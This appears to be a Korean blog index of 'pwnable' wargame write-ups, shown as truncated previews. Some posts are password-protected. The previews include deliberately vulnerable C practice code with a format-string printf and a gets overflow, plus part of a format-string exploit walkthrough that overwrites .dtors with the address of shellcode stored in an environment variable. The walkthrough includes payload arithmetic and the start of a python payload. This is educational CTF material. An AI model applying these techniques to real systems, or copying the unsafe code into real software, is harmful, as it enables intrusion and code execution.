목록pwnable (25)
보호되어 있는 글입니다.

void vuln(){ char buf[128]; puts("EXPLOIT:\n"); puts("Here we go, I'll be nice and read three inputs, and all three will be outputted with printf as its first paramter.\n"); puts("However, no overflows, I won't take more than 128 characters at a time. :pensive:\n"); puts("Give me your first input:"); fgets(buf, sizeof(buf), stdin); printf(buf); puts(""); puts("Nice, now give me your second input..

사진으로 남겨둔게 없어서 일단 코드부터 보겠음 그냥 연습문제라는데 ROP, FSB 둘다 해야함 void rop(){ char buf[0x40]; gets(buf); //here is the overflow vuln, rest is info puts(""); stkstrt(); stk(buf, 0x0, "(buf strt)"); for(int i = 0x1; i < 0x7; i++) stk(buf, i, ""); stk(buf, 0x7, "(buf end)"); stk(buf, 0x8, ""); stk(buf, 0x9, "(canary)"); stk(buf, 0xa, "(rop func base ptr)"); stk(buf, 0xb, "(rop func return ptr)"); stk(buf, 0xc, ..
보호되어 있는 글입니다.
보호되어 있는 글입니다.
보호되어 있는 글입니다.

FSB문제 쉘 주소 만들고 획득 .dtors주소는 main이 끝나고 실행되는 소멸자이다. .dtors주소에 쉘 주소를 넣는다. main이 끝난 후 쉘이 실행될 것이다. objdump -s -j .dtors attackme .dtors주소를 구한다. destructor주소는 4byte 더해야 한다. 즉 0x8049598 포맷 스트링을 보내면 주소 값이 나온다 12byte 떨어진 곳에 입력했던 AAAA가 있다. 환경변수 쉘 : 0xbffffefe .dtors : 0x8049598 0xfefe(65278)-출력값(40) = 65238 0x1bfff – 0xfefe = 49409 출력 값 : 4 + 4 + 4 + 4 + 8*3 = 40 (python –c ‘print “\x90”*4 + “\x98\x95\x04..